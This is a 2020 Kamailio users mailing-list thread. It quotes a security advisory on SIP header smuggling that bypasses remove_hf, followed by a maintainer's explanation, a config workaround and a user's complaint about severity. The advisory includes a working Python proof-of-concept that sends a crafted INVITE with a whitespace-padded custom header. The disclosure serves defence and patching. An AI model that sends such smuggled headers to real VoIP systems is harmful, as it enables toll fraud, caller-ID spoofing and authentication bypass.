[SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf

Wed Sep 2 06:43:11 CEST 2020

Thanks Daniel for patching up the bug, however I think you are downplaying
severity of the problem at hand. You see, from the point of view of outside
world, kamailio is not just engine and default config. All APIs that are
provided are also part of the product, especially those "core" ones. As
such, security issue with any such API is affecting the whole product.
People using Kamailio expect those APIs do what documentation says they do,
no more no less!

What you are saying is basically any Kamailio installation any version
under the sun except maybe dozen using default config is affected and has
to be updated. My question therefore is "what Kamailio is going to do about
it"? At the very least I'd expect fix to be merged into all actively
maintained branches and official security advisory issued and distributed
to all possible channels listing revisions and recommending upgrading ASAP.

-Max

On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, <
miconda at gmail.com> wrote:

> Hello,
>
> thanks Sandro for directing a lot of time and effort for stress testing
> and fuzzing Kamailio, it really helps to increase the security and
> stability of the application.
>
> In a very short summary version, the issue was caused by a bug in
> extracting the name of non-common standard headers (like X-My-Hdr), not
> stripping the white spaces between the name and the following : (colon).
> The common standard headers (like From, To, Authorization,
> P-Asserted-Identity, ...) use a different header name parsing and there
> is no impact in them.
>
> The only security risk in my opinion is when some bad actor learns about
> the custom header names (and their body format/content) you use to pass
> data between Kamailio and other SIP systems in your core platform, then
> trying to preset such headers in the SIP traffic. Of course, security is
> affected only if you pass security sensitive data in such custom
> headers. The default kamailio.cfg is not using any custom headers, thus
> no impact on it.
>
> The config fix for it (without any code upgrade) is replacing:
>
> remove_hf("X-My-Hdr");
>
> with:
>
> remove_hf_re("X-My-Hdr");
>
> As a funny fact, I tracked the faulty code back to at least release SER
> v0.8.11, out 18 years ago, so it is a very long living bug.
>
> Cheers,
> Daniel
>
> On 01.09.20 14:44, Sandro Gauci wrote:
> > Dear Kamailio Users,
> >
> > posting our security advisory here just in case anyone who was affected
> has not upgraded or mitigated the header smuggling issue.
> >
> > Advisory follows:
> >
> > # Kamailio vulnerable to header smuggling possible due to bypass of
> remove_hf
> >
> > - Fixed versions: Kamailio v5.4.0
> > - Enable Security Advisory: <
> https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf
> >
> > - Tested vulnerable versions: 5.3.5 and earlier
> > - Timeline:
> >     - Report date & issue patched by Kamailio:  2020-07-16
> >     - Kamailio rewrite for header parser (better fix): 2020-07-16 to
> 2020-07-23
> >     - Kamailio release with fix: 2020-07-29
> >     - Enable Security advisory: 2020-09-01
> >
> > ## Description
> >
> > Kamailio is often configured to remove certain special internal SIP
> headers from untrusted traffic to protect against header injection attacks
> by making use of the `remove_hf` function from the Kamailio `textops`
> module. These SIP headers were typically set through Kamailio which are
> then used downstream, e.g. by a media service based on Asterisk, to affect
> internal business logic decisions. During our tests and research, we
> noticed that the removal of these headers can be bypassed by injecting
> whitespace characters at the end of the header name.
> >
> > Note that this issue only affected header names that are __not__ defined
> in `src/core/parser/hf.h`.
> >
> > Further discussion and details of this vulnerability can be found at the
> Communication Breakdown blog:
> https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
> >
> > ## Impact
> >
> > The impact of this security bypass greatly depends on how these headers
> are used and processed by the affected logic. In a worst case scenarios,
> this vulnerability could allow toll fraud, caller-ID spoofing and
> authentication bypass.
> >
> > ## How to reproduce the issue
> >
> > We prepared a docker-compose environment to demonstrate a vulnerable
> setup which can be found at <
> https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>.
> The following python code could then be used to reproduce the issue:
> >
> > ```python
> > #!/usr/bin/env python3
> > sipmsg  = "INVITE sip:headerbypass at localhost SIP/2.0\r\n"
> > sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
> > sipmsg += "Max-Forwards: 70\r\n"
> > sipmsg += "From: <sip:anon at localhost>;tag=%s\r\n"
> > sipmsg += "To: sip:whatever at whatever.local\r\n"
> > sipmsg += "Call-ID: %s\r\n"
> > sipmsg += "CSeq: 1 INVITE\r\n"
> > sipmsg += "Contact: <sip:1000 at 127.0.0.1:48017;transport=udp>\r\n"
> > sipmsg += "X-Bypass-me : lol\r\n"
> > sipmsg += "Content-Length: 237\r\n"
> > sipmsg += "Content-Type: application/sdp\r\n"
> > sipmsg += "\r\n"
> > sipmsg += "v=0\r\n"
> > sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
> > sipmsg += "s=-\r\n"
> > sipmsg += "c=IN IP4 127.0.0.1\r\n"
> > sipmsg += "t=0 0\r\n"
> > sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
> > sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
> > sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
> > sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
> > sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
> > sipmsg += "a=sendrecv\r\n"
> >
> > target = ("127.0.0.1",5060)
> >
> > import socket
> > import time
> > from random import randint
> > s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
> > s.bind(("0.0.0.0",5088))
> > r = randint(1000,9999)
> > data = sipmsg % (r,r,r)
> > s.sendto(data.encode("utf-8"), target)
> > while True:
> >     data,addr=s.recvfrom(4096)
> >     print(data.decode("utf-8"))
> >     time.sleep(5)
> > ```
> >
> > In the case of a vulnerable version of Kamailio, Asterisk would respond
> with a 200 OK while in a fixed version, Asterisk would respond with a 603
> Decline response. This is specific to the [dialplan](
> https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf)
> in our example, which jumps to an internal dialplan if the `X-bypass-me`
> header is found.
> >
> > ## Solutions and recommendations
> >
> > The official Kamailio fix has been tested and found to sufficiently
> address this security flaw. We recommend making use of the latest release
> or backporting the fixes where possible. Making use of regular expressions
> to cover white-space characters with `remove_hf_re` has been suggested as
> mitigation for this issue for cases where the code cannot be upgraded.
> >
> > Enable Security would like to thank Daniel-Constantin Mierla of the
> Kamailio Project for the very quick response and fix within minutes of our
> report being made available to him, as well as Torrey Searle for reporting
> this issue quickly to the Kamailio team.
> >
> > ## About Enable Security
> >
> > [Enable Security](https://www.enablesecurity.com) develops offensive
> security tools and provides quality penetration testing to help protect
> your real-time communications systems against attack.
> >
> > ## Disclaimer
> >
> > The information in the advisory is believed to be accurate at the time
> of publishing based on currently available information. Use of the
> information constitutes acceptance for use in an AS IS condition. There are
> no warranties with regard to this information. Neither the author nor the
> publisher accepts any liability for any direct, indirect, or consequential
> loss or damage arising from use of, or reliance on, this information.
> >
> > ## Disclosure policy
> >
> > This report is subject to Enable Security's vulnerability disclosure
> policy which can be found at <
> https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
> >
> > _______________________________________________
> > Kamailio (SER) - Users Mailing List
> > sr-users at lists.kamailio.org
> > https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
>
> --
> Daniel-Constantin Mierla -- www.asipto.com
> www.twitter.com/miconda -- www.linkedin.com/in/miconda
> Funding: https://www.paypal.me/dcmierla
>
>
> _______________________________________________
> Kamailio (SER) - Users Mailing List
> sr-users at lists.kamailio.org
> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
>
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